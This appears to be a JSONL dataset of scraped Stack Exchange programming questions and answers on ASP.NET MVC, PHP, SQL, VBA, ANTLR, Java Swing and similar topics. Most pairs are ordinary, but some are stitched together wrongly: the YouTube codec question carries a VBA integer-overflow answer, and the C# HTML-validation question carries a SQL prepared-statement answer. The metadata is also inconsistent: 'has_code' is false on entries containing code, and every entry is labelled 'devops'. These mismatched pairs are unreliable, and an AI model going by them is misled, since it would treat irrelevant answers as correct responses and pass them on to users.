{"id": "hf_977f6fde704e", "question": "<p>I'm kind of new to ASP.NET MVC and to the MVC pattern in general but I'm really digging the concept and the rapidity with which I can compose an app.  One thing that I'm struggling with is how to expose more than one object to a view.  I use a lot of strongly typed views, which works well but what if my view relies on more than one object?  Right now I'm doing something pretty hacky and passing a Dictionary to the view and then just keying the different objects.  Is there a better pattern for this?</p>\n", "question_body": "", "answer": "You can simply store each object in the ViewData then cast the appropriate object type in your View.\nController:\n```\n```\nViewData[\"ObjectA\"] = objectA;\n ViewData[\"ObjectB\"] = objectB;\n```\n```\nView:\n```\n```\n<%= ((ObjectA)ViewData[\"ObjectA\"]).PropertyA %>\n <%= ((ObjectB)ViewData[\"ObjectB\")).PropertyB %>\n```\n```\nor better yet,\n```\n```\n<% \n    var objectA = (ObjectA)ViewData[\"ObjectA\"];\n    var objectB = (ObjectB)ViewData[\"ObjectB\"];\n %>\n\n <%= objectA.PropertyA %>\n <%= objectB.PropertyB %>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.061160"}
{"id": "hf_25f884a54283", "question": "<p>How can I use a database and PHP sessions to store a user's shopping cart? I am using CodeIgniter, if that helps.</p>\n\n<p>Example code would also be nice.</p>\n", "question_body": "", "answer": "I would recommend that you look at\nthe CodeIgnitor Session Class\n.\nAdditionally, you could look at\nChris Shiflett's discussion\non this topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.094806"}
{"id": "hf_a568bb704783", "question": "<p>I want to load some images into my application from the file system. There's 2 easy ways to do this:</p>\n\n<pre><code>[UIImage imageNamed:fullFileName]\n</code></pre>\n\n<p>or:</p>\n\n<pre><code>NSString *fileLocation = [[NSBundle mainBundle] pathForResource:fileName ofType:extension];\nNSData *imageData = [NSData dataWithContentsOfFile:fileLocation];\n\n[UIImage imageWithData:imageData];\n</code></pre>\n\n<p>I prefer the first one because it's a lot less code, but I have seen some people saying that the image is cached and that this method uses more memory? Since I don't trust people on most other forums, I thought I'd ask the question here, is there any practical difference, and if so which one is 'better'?</p>\n\n<p>I have tried profiling my app using the Object Allocation instrument, and I can't see any practical difference, though I have only tried in the simulator, and not on an iPhone itself.</p>\n", "question_body": "", "answer": "It depends on what you're doing with the image. The\n```\nimageNamed:\n```\nmethod does cache the image, but in many cases that's going to help with memory use. For example, if you load an image 10 times to display along with some text in a table view, UIImage will only keep a single representation of that image in memory instead of allocating 10 separate objects. On the other hand, if you have a very large image and you're not re-using it, you might want to load the image from a data object to make sure it's removed from memory when you're done.\nIf you don't have any huge images, I wouldn't worry about it. Unless you see a problem (and kudos for checking Object Allocation instead of preemptively optimizing), I would choose less lines of code over negligible memory improvements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.118666"}
{"id": "hf_af7b795c529e", "question": "<p>Python Decimal doesn't support being constructed from float; it expects that you have to convert float to a string first.</p>\n<p>This is very inconvenient since standard string formatters for float require that you specify number of decimal places rather than significant places.  So if you have a number that could have as many as 15 decimal places you need to format as <code>Decimal(&quot;%.15f&quot; % my_float)</code>, which will give you garbage at the 15th decimal place if you also have any significant digits before decimal (<code>Decimal(&quot;%.15f&quot; % 100000.3) == Decimal('100000.300000000002910')</code>).</p>\n<p>Can someone suggest a good way to convert from float to Decimal preserving value as the user has entered, perhaps limiting number of significant digits that can be supported?</p>\n", "question_body": "", "answer": "The \"official\" string representation of a float is given by the repr() built-in:\n```\n```\n>>> repr(1.5)\n'1.5'\n>>> repr(12345.678901234567890123456789)\n'12345.678901234567'\n```\n```\nYou can use repr() instead of a formatted string, the result won't contain any unnecessary garbage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.142570"}
{"id": "hf_afd1c0d61620", "question": "<p><strong>How can you make the experience with Eclipse faster?</strong>  </p>\n\n<p>For instance: <em>I disable all the plugins I don't need (Mylyn, Subclipse, &hellip;).</em></p>\n\n<p>Instead of using a plugin for <a href=\"http://en.wikipedia.org/wiki/Mercurial\" rel=\"noreferrer\">Mercurial</a>, I configure <a href=\"https://en.wikipedia.org/wiki/TortoiseHg\" rel=\"noreferrer\">TortoiseHG</a> as an external tool.</p>\n", "question_body": "", "answer": "I give it a ton of memory (add a\n```\n-Xmx\n```\nswitch to the command that starts it) and try to avoid quitting and restarting it- I find the worst delays are on startup, so giving it lots of RAM lets me keep going longer before it crashes out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.166673"}
{"id": "hf_1d52c73ac0a8", "question": "<p>I'm storing a tree in a DB using nested sets.  The table's fields are id, lft, rgt, and name.  </p>\n\n<p>Given a node ID, I need to find all of its direct children(not grandchildren) that are themselves leaf nodes.</p>\n", "question_body": "", "answer": "The article\nManaging Hierarchical Data in MySQL\ngives a great example of how to use Nested Sets, and gives examples of many common queries, including this one.\nhere's how to find the immediate children of a node:\n```\n```\nSELECT node.name, (COUNT(parent.name) - (sub_tree.depth + 1)) AS depth\nFROM nested_category AS node,\n    nested_category AS parent,\n    nested_category AS sub_parent,\n    (\n        SELECT node.name, (COUNT(parent.name) - 1) AS depth\n        FROM nested_category AS node,\n        nested_category AS parent\n        WHERE node.lft BETWEEN parent.lft AND parent.rgt\n        AND node.name = '**[[MY NODE]]**'\n        GROUP BY node.name\n        ORDER BY node.lft\n    )AS sub_tree\nWHERE node.lft BETWEEN parent.lft AND parent.rgt\n    AND node.lft BETWEEN sub_parent.lft AND sub_parent.rgt\n    AND sub_parent.name = sub_tree.name\nGROUP BY node.name\nHAVING depth = 1\nORDER BY node.lft;\n```\n```\nand then combine that with the fact that a leaf node will have\n```\nrgt\n```\nequal to\n```\nlft + 1\n```\n, and you're set.\npardon the pun.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.193595"}
{"id": "hf_1e05d15aa9b5", "question": "<p>I am trying to have an element fade in, then in 5000 ms fade back out again. I know I can do something like:</p>\n\n<pre><code>setTimeout(function () { $(\".notice\").fadeOut(); }, 5000);\n</code></pre>\n\n<p>But that will only control the fade out, would I add the above on the callback?</p>\n", "question_body": "", "answer": "I just figured it out below:\n```\n```\n$(\".notice\")\n   .fadeIn( function() \n   {\n      setTimeout( function()\n      {\n         $(\".notice\").fadeOut(\"fast\");\n      }, 2000);\n   });\n```\n```\nI will keep the post for other users!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.218897"}
{"id": "hf_873db7e173ac", "question": "<pre><code>class A\n  def initialize\n    @x = do_something\n  end\n\n  def do_something\n    42\n  end\nend\n</code></pre>\n\n<p>How can I stub <code>do_something</code> in rspec, before the original implementation is called (thus assigning 42 to <code>@x</code>)? And without changing the implementation, of course.</p>\n", "question_body": "", "answer": "I don't know how to do that in spec's mock framework, but you can easily swap it out for mocha to do the following:\n```\n```\n# should probably be in spec/spec_helper.rb\nSpec::Runner.configure do |config|\n  config.mock_with :mocha\nend\n\ndescribe A, \" when initialized\" do\n  it \"should set x to 42\" do\n    A.new.x.should == 42\n  end\nend\n\ndescribe A, \" when do_something is mocked\" do\n  it \"should set x to 23\" do\n    A.any_instance.expects(:do_something).returns(23)\n    A.new.x.should == 23\n  end\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.255711"}
{"id": "hf_5519a71c4521", "question": "<p>I have a function that exports a table to CSV and in the query I set which fields will export.</p>\n\n<p>Here is the query:</p>\n\n<pre><code>SELECT lname, fname, email, address1, address2, city, \nstate, zip, venue_id, dtelephone, etelephone, tshirt FROM volunteers_2009\n</code></pre>\n\n<p>The field venue_id is the the id of the venue which is referred to in another table (venues)</p>\n\n<p>So volunteers_2009.venue_id = venues.id</p>\n\n<p>When I open the CSV file it displays the venue_id which I understand, but I need help modifying the query to put in the name of the venue (venues.venue_name) within the CSV file.</p>\n\n<p>Any help is appreciated.</p>\n", "question_body": "", "answer": "Standard SQL query for this is (assuming you want both ID and name for the venue):\n```\n```\nSELECT a.lname as lname, a.fname as fname, a.email as email,\n    a.address1 as address1, a.address2 as address2, a.city as city, \n    a.state as state, a.zip as zip, a.venue_id as venue_id,\n    b.venue_name as venue_name, a.dtelephone as dtelephone,\n    a.etelephone as etelephone, a.tshirt as tshirt\nFROM volunteers_2009 a, venues b\nWHERE a.venue_id = b.id\nAND a.venue_id IS NOT NULL\nUNION ALL\nSELECT a.lname as lname, a.fname as fname, a.email as email,\n    a.address1 as address1, a.address2 as address2, a.city as city, \n    a.state as state, a.zip as zip, a.venue_id as venue_id,\n    '' as venue_name, a.dtelephone as dtelephone,\n    a.etelephone as etelephone, a.tshirt as tshirt\nFROM volunteers_2009 a\nWHERE a.venue_id IS NULL\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.279326"}
{"id": "hf_a614a557886a", "question": "<p>From the help for the Overflow Error in VBA, there's the following examples:</p>\n\n<pre><code>Dim x As Long\nx = 2000 * 365 ' gives an error\n\nDim x As Long\nx = CLng(2000) * 365 ' fine\n</code></pre>\n\n<p>I would have thought that, since the Long data type is supposed to be able to hold 32-bit numbers, that the first example would work fine.</p>\n\n<p>I ask this because I have some code like this:</p>\n\n<pre><code>Dim Price as Long\nPrice = CLng(AnnualCost * Months / 12)\n</code></pre>\n\n<p>and this throws an Overflow Error when AnnualCost is 5000 and Months is 12.</p>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "2000 and 365 are Integer values.  In VBA, Integers are 16-bit signed types, when you perform arithmetic on 2 integers the arithmetic is carried out in 16-bits.  Since the result of multiplying these two numbers exceeds the value that can be represented with 16 bits you get an exception.  The second example works because the first number is first converted to a 32-bit type and the arithmetic is then carried out using 32-bit numbers.  In your example, the arithmetic is being performed with 16-bit integers and the result is then being converted to long but at that point it is too late, the overflow has already occurred.  The solution is to convert one of the operands in the multiplication to long first:\n```\n```\nDim Price as Long\nPrice = CLng(AnnualCost) * Months / 12\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.302449"}
{"id": "hf_6157f3ebd059", "question": "<p>Is it possible to determine whether a particular youtube video is encoded with H.264 or FLV through the YouTube data API? If so, how? </p>\n\n<p>I can start a file download and check how the video stream was encoded (programmatically, of course), but I'd like to use the YouTube data API to avoid all that overhead.</p>\n", "question_body": "", "answer": "2000 and 365 are Integer values.  In VBA, Integers are 16-bit signed types, when you perform arithmetic on 2 integers the arithmetic is carried out in 16-bits.  Since the result of multiplying these two numbers exceeds the value that can be represented with 16 bits you get an exception.  The second example works because the first number is first converted to a 32-bit type and the arithmetic is then carried out using 32-bit numbers.  In your example, the arithmetic is being performed with 16-bit integers and the result is then being converted to long but at that point it is too late, the overflow has already occurred.  The solution is to convert one of the operands in the multiplication to long first:\n```\n```\nDim Price as Long\nPrice = CLng(AnnualCost) * Months / 12\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.326217"}
{"id": "hf_f1718f4484c1", "question": "<p>I ran into this bug where an element of an array, if its index is the string \"0\", is inaccessible. </p>\n\n<p>It's not a bug with unserialize, either, as this occurred in my code without invoking it.</p>\n\n<pre><code>$arr = unserialize('a:1:{s:1:\"0\";i:5;}');\nvar_dump($arr[\"0\"]); //should be 5, but is NULL\nvar_dump($arr[0]);   //maybe this would work?  no. NULL\n</code></pre>\n\n<p>Am I doing something wrong here?  How do I access this element of the array?</p>\n", "question_body": "", "answer": "Actually, the code in your question yields\n```\n```\nint(5)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.349871"}
{"id": "hf_c9a3d97c24a6", "question": "<p>Hopefully this is a really quick one ;)  I have written a lexer / parser specification in ANTLR3, and am targeting the CSharp2 target.  The generated code works correctly, but I can't get ANTLR to put the C# output into a namespace.</p>\n\n<p>The relevant section of the Grammar file is as follows:</p>\n\n<pre><code>grammar MyGrammar;\n\noptions\n{\n    language = CSharp2;\n    output = AST;\n    ASTLabelType = CommonTree;\n}\n</code></pre>\n\n<p>To generate the correct namespace, I have tried:</p>\n\n<pre><code>@namespace { MyNamespace }\n</code></pre>\n\n<p>and</p>\n\n<pre><code>@lexer::namespace { MyNamespace }\n@parser::namespace { MyNamespace }\n</code></pre>\n\n<p>but both of these generate errors, claiming that the file has no rules.</p>\n\n<p>Any help is appreciated.</p>\n", "question_body": "", "answer": "I use this for a combined lexer and parser (and it generates the namespace correctly):\n```\n```\ngrammar Test;\n\noptions\n{\n    language=CSharp2;\n}\n\n@lexer::namespace {\n    My.Name.Space\n}\n\n@parser::namespace {\n    My.Name.Space\n}\n\nDIGIT   :   '0'..'9';\n\nsimple  :    DIGIT EOF;\n```\n```\nSo i wonder why your version didn't work - maybe you want to try this simple example and see if it works for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.396787"}
{"id": "hf_e0379a4d8f29", "question": "<p>In a comment on a previous question, someone said that the following sql statement opens me up to sql injection:</p>\n\n<pre><code>select\n    ss.*,\n    se.name as engine,\n    ss.last_run_at + interval ss.refresh_frequency day as next_run_at,\n    se.logo_name    \nfrom \n    searches ss join search_engines se on ss.engine_id = se.id\nwhere\n    ss.user_id='.$user_id.'\ngroup by ss.id\norder by ss.project_id, ss.domain, ss.keywords\n</code></pre>\n\n<p>Assuming that the <code>$userid</code> variable is properly escaped, how does this make me vulnerable, and what can I do to fix it?</p>\n", "question_body": "", "answer": "Assuming it is properly escaped, it doesn't make you vulnerable. The thing is that escaping properly is harder than it looks at first sight, and you condemn yourself to escape properly every time you do a query like that. If possible, avoid all that trouble and use prepared statements (or binded parameters or parameterized queries). The idea is to allow the data access library to escape values properly.\nFor example, in PHP, using\nmysqli\n:\n```\n```\n$db_connection = new mysqli(\"localhost\", \"user\", \"pass\", \"db\");\n$statement = $db_connection->prepare(\"SELECT thing FROM stuff WHERE id = ?\");\n$statement->bind_param(\"i\", $user_id); //$user_id is an integer which goes \n                                       //in place of ?\n$statement->execute();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.436662"}
{"id": "hf_23bcc76b8a67", "question": "<p>i need a C# library about strict HTML validation and filtering </p>\n", "question_body": "", "answer": "Assuming it is properly escaped, it doesn't make you vulnerable. The thing is that escaping properly is harder than it looks at first sight, and you condemn yourself to escape properly every time you do a query like that. If possible, avoid all that trouble and use prepared statements (or binded parameters or parameterized queries). The idea is to allow the data access library to escape values properly.\nFor example, in PHP, using\nmysqli\n:\n```\n```\n$db_connection = new mysqli(\"localhost\", \"user\", \"pass\", \"db\");\n$statement = $db_connection->prepare(\"SELECT thing FROM stuff WHERE id = ?\");\n$statement->bind_param(\"i\", $user_id); //$user_id is an integer which goes \n                                       //in place of ?\n$statement->execute();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.460327"}
{"id": "hf_1ea04104b52e", "question": "<p>I've never actually used greasemonkey, but I was considering using it.\nConsidering that GreaseMonkey allows you to let random people on the Internet change the behavior of your favorite websites, how safe can it be?\nCan they steal my passwords? Look at my private data? Do things I didn't want to do?\nHow safe is Greasemonkey?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Considering that GreaseMonkey allows you to let random people on the Internet change the behavior of your favorite websites, how safe can it be?\nIt's as safe as you allow it to be - but you aren't very clear, so let's look at it from a few perspectives:\nWeb Developer\nGreasemonkey can't do anything to your website that a person with telnet can't already do to your website.  It automates things a bit, but other than that if greasemonkey is a security hole, then your website design is flawed - not greasemonkey.\nInternet user with Greasemonkey loaded\nLike anything else you load on your system, greasemonkey can be used against you.  Don't load scripts onto your system unless you trust the source (in both meanings of the term 'source').  It's fairly limited and sandboxed, but that doesn't mean it's safe, merely that it's harder for someone to do something nefarious.\nInternet user without Greasemonkey\nIf you do not load greasemonkey or any of its scripts, it cannot affect you in any way.  Greasemonkey does not alter the websites you visit unless you've loaded it on your system.\nGreasemonkey developer\nThere's not much you can do beyond what can already be done with XUL and javascript, but it is possible to trash your mozilla and/or firefox profile, and possibly other parts of your system.  Unlikely, difficult to do on purpose or maliciously, but it's not a bulletproof utility.\nDevelop responsibly.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.495668"}
{"id": "hf_132ff019b7ff", "question": "<p>I'm trying out PHPTAL and I want to render a table with zebra stripes. I'm looping through a simple php assoc array ($_SERVER).</p>\n\n<p>Note that I don't want to use jQuery or anything like that, I'm trying to learn PHPTAL usage!</p>\n\n<p>Currently I have it working like this (too verbose for my liking):</p>\n\n<pre><code>&lt;tr tal:repeat=\"item server\"&gt;\n  &lt;td tal:condition=\"repeat/item/odd\" tal:content=\"repeat/item/key\" class=\"odd\"&gt;item key&lt;/td&gt;\n  &lt;td tal:condition=\"repeat/item/even\" tal:content=\"repeat/item/key\" class=\"even\"&gt;item key&lt;/td&gt;\n  &lt;td tal:condition=\"repeat/item/odd\" tal:content=\"item\" class=\"odd\"&gt;item value&lt;/td&gt;\n  &lt;td tal:condition=\"repeat/item/even\" tal:content=\"item\" class=\"even\"&gt;item value&lt;/td&gt;\n&lt;/tr&gt;\n</code></pre>\n\n<p>Basically I want some kind of conditional assignment on the fly, but I'm unsure of the syntax.</p>\n", "question_body": "", "answer": "Well, it seems like I have my own answer, though I still think this is rather ugly:\n```\n```\n<tr tal:repeat=\"item server\">\n  <td tal:content=\"repeat/item/key\" tal:attributes=\"class php: repeat.item.odd ? 'odd' : 'even'\">item key</td>\n  <td tal:content=\"item\" tal:attributes=\"class php: repeat.item.odd ? 'odd' : 'even'\">item value</td>\n</tr>\n```\n```\nAnyone got anything more graceful looking for PHPTAL?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.543169"}
{"id": "hf_29352d6ae590", "question": "<p>I've built a entity framework model against a 2008 database.  All works ok against the 2008 database.  When I try to update the entity on a 2005 database I get this error.  </p>\n\n<pre>The version of SQL Server in use does not support datatype 'datetime2</pre>\n\n<p>I specifically did not use any 2008 features when I built the database.  I can't find any reference to datetime2 in the code.  And, yes the column is defined as \"datetime\" in the database.  </p>\n", "question_body": "", "answer": "A quick google points me to what looks like the\nsolution\n.\nOpen your EDMX in a file editor (or “open with…” in Visual Studio and select XML Editor). At the top you will find the storage model and it has an attribute ProviderManifestToken. This has should have the value 2008. Change that to 2005, recompile and everything works.\nNOTE: You'll have to do this every time you update the model from database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.577959"}
{"id": "hf_4b755f33378d", "question": "<p>How do Window's programmers profile their native C++ code?\nOn Unix/Linux you have gprof <em>[thanks Evan]</em> &amp; valgrind (I personally used this one, although it's not a real profiler), and recently I'm on Mac and Solaris, which means I moved to dTrace. Now when I've had the need to profile on Windows in the past, like at my previous job, I used Intel's vtune, which is great, however it's commercial, and I don't have a license for private use, so I'm left wondering what's the standard (free is better) tool windows programmers commonly use?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "You should give\nXperf\na try - it's a new system wide performance tool that can drill down to a particular application and what exactly it's doing inside itself as well as what's it's asking of the OS.\nIt's freely available on the\nWindows SDK for Windows Server 2008 and .NET Framework 3.5 ISO\n:\nInstall the SDK by downloading the\nISO image\n, or using the Web based\n  installer.\nFind the xperf MSI in the SDK's \"bin\" directory.   It will be named\n  xperf_x86.msi, xperf_x64.msi, or\n  xperf_ia64.msi, depending on the\n  architecture for which you install the\n  SDK.\nYou can then install the xperf tools from the MSI directly, or copy\n  the xperf MSI file to another location\n  and install it from there.  For\n  example, you could keep the MSI files\n  on a USB key.\nSource: Pigs Can Fly blog on MSDN.com\nJust verified that the xperf msi will not install except on windows Vista or Windows 2007.\n-Adam", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.624422"}
{"id": "hf_1ba730b8eb43", "question": "<p>I'm working on a project that currently has zero users but we would like to scale up to potentially hundreds.  Currently we are running on a MySQL database with AMFPHP interacting with Flex.  We used Flex because of its robust graphic features (important to this project) and because the initial developer (not me) already knew ActionScript.  We are currently using AIR but might switch to web-based Flash at some point.</p>\n\n<p>My questions are:</p>\n\n<ol>\n<li>Is Flex a good tool for a project like this?</li>\n<li>What are the main limitations of Flex that we might encounter?</li>\n<li>What are other development platforms we might want to consider?</li>\n</ol>\n\n<p>Thanks.\n- Dave</p>\n", "question_body": "", "answer": "Flex has no inherent scalability problems, however if you have a graphic intensive application, proper serving of these resources might be a problem, but that has little to do with Flex.\nThe only note-worthy and likely platform you won't be able to run on is the iPhone (no flash) and some older non-flash mobile devices (although most support Flash-lite nowadays)\nAs for alternatives, if you are Graphics heavy, and don't mind the iPhone, then Flex is good if not best cross platform solution besides using pure HTML technologies, the trick here is HTML alone can do 99% of what Flex can do, but if your App requires the missing 1% then you're out of Luck, also Flex will reduce crossplatform and most browser compatibility issues. So it might make your work more productive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.650313"}
{"id": "hf_ae3f3a946600", "question": "<p>I have an ASP page which will query records from a DB Table and do some processing and then Render an HTML table in the browser.My table has more than 16000 rows in it. When i am running the prigram with select top 2500 StudId,StudName from StudentsTbl, It is working fine.But when i am Using select  \"StudId,StudName from StudentsTbl\",It is not showing any out put. I am using Response.flush() after every 50 records in the while loop.Can any one tell me how to solve this ? Thanks in advance</p>\n\n<hr>\n\n<p>Actaully I would create an Excel file from this ASP page by adding Response..ContentType = \"application/vnd.ms-excel\" Thats y i need to generate the all data one time</p>\n", "question_body": "", "answer": "Based on your description of the problem, I'm betting that you're using IE as your test browser. The Response.Flush()\nis\noutputting HTML, but it will not display right away because IE doesn't know how to render a table incrementally. Instead, IE waits for the entire table to output before it draws it to the browser window. Your script isn't the problem, IE is.\nWith that being said, I want to point out that your design is fundamentally flawed. Think about your script from a usability perspective: there is no sane reason why you need to output 16000 rows of data all at once.\nPage your recordset in SQL\n, or limit the recordset to first 1000 rows using a TOP clause.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.673744"}
{"id": "hf_d42cdf774545", "question": "<p>My current problem is that I have a JFrame with a 2x2 GridLayout. And inside one of the squares, I have a JPanel that is to display a grid. I am having a field day with the java swing library... take a look</p>\n\n<p><a href=\"http://img114.imageshack.us/img114/9683/frameow2.jpg\" rel=\"nofollow noreferrer\">Image</a></p>\n\n<p>Java is automatically expanding each JLabel to fit the screen. I want it to just be those blue squares (water) and the black border and not that gray space. Is there a way I can just set the size of that JPanel permanently so that I don't have to go through changing the size of the JFrame a million times before I get the exact dimension so that the gray space disappears?</p>\n\n<p>I also would like to set the size of those buttons so they are not so huge (<code>BorderLayout</code> is being used for the buttons and TextField)</p>\n", "question_body": "", "answer": "If you can\n```\nsetResizeable( false )\n```\non the top level frame you can then set your layout manager to null and hard code each location and size via setBounds. This is how I would do it (contingent on resizing of course).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.722141"}
{"id": "hf_ec9e983cea40", "question": "<p>How can I rename a schema using SQL Server? </p>\n", "question_body": "", "answer": "You move individual objects from one schema to another via:\n```\n```\nALTER SCHEMA NewSchema TRANSFER OldSchema.Object;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.769355"}
{"id": "hf_8c3cc8c184e8", "question": "<p>I have been looking at using TDD and implementing proper testing (only just started to learn how much better it makes your life) in any of my projects that I create in the future.  So for the last couple of days I have been floating around on SO trying to learn about how to design your application for testability, but I still seem to be struggling with some of the ideas.  </p>\n\n<p>I have read a lot that you should program <strong>against interfaces</strong> rather than <strong>classes</strong>. The main problem I'm having is, how many interfaces should you create? Should you have one for everything you want to test? or am I reading this wrong?</p>\n\n<p>Another thing is use lots of dependency injection, so you can mock the parts that you are injecting rather than use the real things.  Is this correct? or am I way off here too?</p>\n", "question_body": "", "answer": "You are right with the Mocking part, if you actually are doing what you said.\nAs for the interfaces, my personal method of development considering this point is that I first write what my application's main path should look like (using my ideal mock API that does nothing). Then after looking through my Mock implementation and refining it a few times, I start the actual class design. At this stage \"know\" how I can test each method, and write a test for it, and if for some reason I come across a method I can't easily figure out how to test, it means the method is not good, most likely it has too many responsibilities, and too many intermediary states I can't test, so I break the method up (interface wins over class design here). And keep on trickling down until I have a workable application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.796811"}
{"id": "hf_5673fee73258", "question": "<p>What is the best way to construct a bit mask in C with <code>m</code> set bits preceded by <code>k</code> unset bits, and followed by <code>n</code> unset bits:</p>\n\n<pre><code>00..0 11..1 00..0\n  k     m     n\n</code></pre>\n\n<p>For example, k=1, m=4, n=3 would result in the bit mask:</p>\n\n<pre><code>01111000\n</code></pre>\n", "question_body": "", "answer": "You can do:\n```\n```\n~(~0 << m) << n\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:31.820614"}
